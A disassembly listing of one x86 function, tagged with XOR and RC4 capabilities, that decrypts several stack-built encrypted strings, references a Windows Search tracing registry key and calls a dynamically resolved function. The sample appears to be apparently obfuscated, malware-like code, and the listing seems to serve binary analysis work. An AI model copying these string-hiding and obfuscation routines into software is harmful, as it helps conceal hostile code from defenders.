Function at 0xc4faec
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x370
push ebx
push esi
push edi
mov esi, 0xc6f7f0
mov dword [ebp - 0x1c4], ecx
mov ecx, dword [0xc78568]
lea edi, [ebp - 0x1d8]
push 0xb
pop eax
movsd dword es:[edi], dword [esi]
add ecx, 0x3886b093
mov dword [ebp - 0x1c0], edx
xor edx, edx
mov byte [ebp - 0x12f], al
mov eax, 0xc72c50
mov dword [ebp - 0x17c], 0x46674c91
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x178], 0x4156b950
mov dword [ebp - 0x174], 0x3ee0335
mov dword [ebp - 0x170], 0xeea7a9e9
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x16c], 0x980fa50d
mov dword [ebp - 0x168], 0x989d32f6
mov dword [ebp - 0x164], 0xaab996ad
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x160], 0x10a16ff7
mov dword [ebp - 0x15c], 0x4e2be40d
mov dword [ebp - 0x158], 0xb3bf58c5
movsw word es:[edi], word [esi]
mov dword [ebp - 0x154], 0xa85d5fcb
mov dword [ebp - 0x150], 0x218d197a
mov dword [ebp - 0x14c], 0x417bce92
mov dword [ebp - 0x148], 0xbcc5ffb3
mov dword [ebp - 0x144], 0x9e7f9cae
mov dword [ebp - 0x140], 0x1c6ba7c5
mov dword [ebp - 0x13c], 0x23ab5d9c
mov dword [ebp - 0x138], 0x6b7f9f3e
mov dword [ebp - 0x134], 0x40d326ce
mov byte [ebp - 0x130], 0xb6
mov dword [ebp - 0x12e], 0x9c65d0c9
mov dword [ebp - 0x12a], 0x510c086d
mov word [ebp - 0x126], 0x2a9a
movsb byte es:[edi], byte [esi]
lea eax, [eax + 2]
add ecx, 0xa9f006e4
cmp word [eax], dx
jne 0xc4fc14
mov eax, str._lS_lS
imul ecx, ecx, 0x5478db2c
inc eax
cmp byte [eax], dl
jne 0xc4fc27
mov dword [ebp - 8], ecx
mov edi, edx
mov eax, edx
mov byte [ebp + eax - 0x120], al
inc eax
cmp eax, 0x100
jb 0xc4fc39
push 0x12
mov esi, edx
pop ecx
xor edx, edx
mov bl, byte [ebp + esi - 0x120]
mov eax, esi
div ecx
movzx ecx, bl
push 0x12
movzx eax, byte [ebp + edx - 0x1d8]
add eax, edi
add ecx, eax
movzx edi, cl
pop ecx
mov al, byte [ebp + edi - 0x120]
mov byte [ebp + esi - 0x120], al
inc esi
mov byte [ebp + edi - 0x120], bl
cmp esi, 0x100
jb 0xc4fc4d
xor eax, eax
mov ebx, eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x120]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x120]
mov byte [ebp + edi - 0x120], al
mov byte [ebp + ebx - 0x120], cl
movzx eax, byte [ebp + edi - 0x120]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x120]
xor al, byte [ebp + esi - 0x17c]
mov byte [ebp + esi - 0x370], al
inc esi
cmp esi, 0x58
jb 0xc4fc95
mov esi, 0xc6fec8
mov dword [ebp - 0x20], 0x60a538a5
lea edi, [ebp - 0x1d8]
mov dword [ebp - 0x1c], 0x7b07639
xor ecx, ecx
mov dword [ebp - 0x18], 0x646d5d75
sub dword [ebp - 8], 0x7c3a9e8a
mov eax, ecx
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x318], cl
mov dword [ebp - 0x14], 0xf1f743bd
mov dword [ebp - 0x10], 0x2438bb22
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xc], 0xd1cd159c
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov byte [ebp + eax - 0x120], al
inc eax
cmp eax, 0x100
jb 0xc4fd35
mov esi, ecx
mov edi, ecx
xor edx, edx
mov bl, byte [ebp + esi - 0x120]
push 0x12
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x1d8]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x120]
mov byte [ebp + esi - 0x120], al
inc esi
mov byte [ebp + edi - 0x120], bl
cmp esi, 0x100
jb 0xc4fd48
mov edi, dword [ebp - 8]
xor eax, eax
mov dword [ebp - 4], eax
mov ebx, eax
mov esi, eax
add edi, 0x51188cef
lea eax, [ebx + 1]
and edi, 0x4b7c2dab
movzx ebx, al
mov eax, dword [ebp - 4]
mov cl, byte [ebp + ebx - 0x120]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 4], eax
mov al, byte [ebp + eax - 0x120]
mov byte [ebp + ebx - 0x120], al
mov eax, dword [ebp - 4]
mov byte [ebp + eax - 0x120], cl
movzx eax, byte [ebp + ebx - 0x120]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x120]
xor al, byte [ebp + esi - 0x20]
mov byte [ebp + esi - 0x1f8], al
inc esi
cmp esi, 0x18
jb 0xc4fd9a
lea eax, [edi + 0xb0aeef8]
mov dword [ebp - 0x20], 0x9b899edc
push 5
pop ecx
mov esi, 0xc6f240
mov dword [ebp - 8], eax
lea edi, [ebp - 0x1dc]
mov dword [ebp - 0x1c], 0x3c5dc663
rep movsd dword es:[edi], dword [esi]
xor edx, edx
mov dword [ebp - 0x18], 0x9b2742bd
mov byte [ebp - 0x1e0], dl
mov eax, edx
mov dword [ebp - 0x14], 0xabc7af67
movsw word es:[edi], word [esi]
mov dword [ebp - 0x10], 0x5f7cad98
mov dword [ebp - 0xc], 0x11de9ef5
movsb byte es:[edi], byte [esi]
mov edi, edx
mov byte [ebp + eax - 0x120], al
inc eax
cmp eax, 0x100
jb 0xc4fe4a
mov esi, edx
xor edx, edx
mov bl, byte [ebp + esi - 0x120]
push 0x16
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x1dc]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x120]
mov byte [ebp + esi - 0x120], al
inc esi
mov byte [ebp + edi - 0x120], bl
cmp esi, 0x100
jb 0xc4fe5b
xor eax, eax
mov ebx, eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x120]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x120]
mov byte [ebp + edi - 0x120], al
mov byte [ebp + ebx - 0x120], cl
movzx eax, byte [ebp + edi - 0x120]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x120]
xor al, byte [ebp + esi - 0x20]
mov byte [ebp + esi - 0x214], al
inc esi
cmp esi, 0x18
jb 0xc4fea3
xor dword [ebp - 8], 0x73080ad7
lea edi, [ebp - 0x1d4]
mov esi, 0xc6f6a8
mov dword [ebp - 0xb8], 0x87527050
push 0x15
pop ecx
push 0x53
movsd dword es:[edi], dword [esi]
xor edx, edx
mov byte [ebp - 0x1fc], dl
mov ebx, edx
mov dword [ebp - 0xb4], 0x8096039d
mov dword [ebp - 0xb0], 0xe25d3246
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xac], 0x60193e6b
mov dword [ebp - 0xa8], 0x44bd4296
mov dword [ebp - 0xa4], 0x799852e9
movsd dword es:[edi], dword [esi]
mov esi, str.SoftwareMicrosoftWindows_SearchTracing
mov dword [ebp - 0xa0], 0xffaf51be
lea edi, [ebp - 0x178]
mov dword [ebp - 0x9c], 0x93726519
rep movsd dword es:[edi], dword [esi]
pop ecx
mov dword [ebp - 0x98], 0x4d66e145
mov dword [ebp - 0x94], 0xc16e87da
mov dword [ebp - 0x90], 0xe8aff5e0
mov dword [ebp - 0x8c], 0x6d49090
mov dword [ebp - 0x88], 0x17b557c3
mov dword [ebp - 0x84], 0xe37c19fd
mov dword [ebp - 0x80], 0xff992c1e
mov dword [ebp - 0x7c], 0xa45a0caa
mov dword [ebp - 0x78], 0xe733ac1b
mov dword [ebp - 0x74], 0x25f18b30
mov dword [ebp - 0x70], 0xbead227f
mov dword [ebp - 0x6c], 0xd7d4e054
mov dword [ebp - 0x68], 0x4af2bec5
mov dword [ebp - 0x64], 0x9771040e
mov dword [ebp - 0x60], 0x1517d5f6
mov dword [ebp - 0x5c], 0xfc9af96c
mov dword [ebp - 0x58], 0x5e4791d0
mov dword [ebp - 0x54], 0x45369b82
mov dword [ebp - 0x50], 0x7cfd5dad
mov dword [ebp - 0x4c], 0x463a504c
mov dword [ebp - 0x48], 0xcd608aec
mov dword [ebp - 0x44], 0xed6babf9
mov dword [ebp - 0x40], 0x622d5afa
mov dword [ebp - 0x3c], 0xd0e095a7
mov dword [ebp - 0x38], 0xd26282e
mov dword [ebp - 0x34], 0x3c43ac6d
mov dword [ebp - 0x30], 0x90fa1b39
mov dword [ebp - 0x2c], 0x68dde482
mov dword [ebp - 0x28], 0xf6e83648
mov dword [ebp - 0x24], 0x19f76a09
cmp cx, word [ebp - 0x178]
jne 0xc50090
mov eax, edx
test cx, cx
je 0xc50090
cmp word [ebp + eax - 0x178], dx
je 0xc50090
call fcn.00c4e4fe
inc ebx
push 0
pop edx
lea eax, [ebx + ebx]
movzx ecx, word [eax + 0xc72c50]
cmp cx, word [ebp + eax - 0x178]
je 0xc50064
mov edi, dword [ebp - 8]
mov eax, edx
mov dword [ebp - 4], edx
xor edi, 0xa65c0ead
mov byte [ebp + eax - 0x314], al
inc eax
mov dword [0xc78568], edi
cmp eax, 0x100
jb 0xc50098
mov dword [ebp - 8], edi
mov esi, edx
mov edi, dword [ebp - 4]
xor edx, edx
mov bl, byte [ebp + esi - 0x314]
push 0xb
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x1d4]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x314]
mov byte [ebp + esi - 0x314], al
inc esi
mov byte [ebp + edi - 0x314], bl
cmp esi, 0x100
jb 0xc500bb
mov edi, dword [ebp - 8]
xor eax, eax
mov dword [ebp - 4], eax
mov ebx, eax
mov esi, eax
lea eax, [ebx + 1]
movzx ebx, al
mov eax, dword [ebp - 4]
mov cl, byte [ebp + ebx - 0x314]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 4], eax
mov al, byte [ebp + eax - 0x314]
mov byte [ebp + ebx - 0x314], al
mov eax, dword [ebp - 4]
mov byte [ebp + eax - 0x314], cl
movzx eax, byte [ebp + ebx - 0x314]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x314]
xor al, byte [ebp + esi - 0xb8]
mov byte [ebp + esi - 0x1bc], al
inc esi
cmp esi, 0x98
jb 0xc50107
cmp dword [ebp + 8], 0
mov byte [ebp - 0x124], 0
jne 0xc50183
add edi, 0x6f420893
mov dword [0xc78568], edi
jmp 0xc50228
lea ecx, [ebp - 0x370]
call fcn.00c4d02f
lea ecx, [ebp - 0x1f8]
mov ebx, eax
call fcn.00c4d02f
push dword [ebp + 0x10]
mov esi, dword [ebp + 0x14]
lea edx, [ebp - 0x214]
push dword [ebp + 8]
mov edi, eax
push dword [ebp - 0x1c0]
push ebx
push esi
push 2
pop ecx
call fcn.00c4ba1b
call eax
mov edx, dword [ebp + 0xc]
mov ecx, esi
call fcn.00c4d3a6
mov edx, edi
call fcn.00c4d3a6
call fcn.00c4d309
mov edx, dword [ebp + 0x1c]
push eax
call fcn.00c4a061
mov ecx, dword [ebp - 0x1c4]
lea edx, [ebp - 0x1bc]
push 0
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push esi
call fcn.00c4e687
mov ecx, ebx
call fcn.00c4d309
push eax
push 0
push ebx
call fcn.00c4cf49
mov ecx, edi
call fcn.00c4d309
push eax
push 0
push edi
call fcn.00c4cf49
add esp, 0x40
mov ecx, ebx
call fcn.00c4ba07
mov ecx, edi
call fcn.00c4ba07
pop edi
pop esi
pop ebx
leave
ret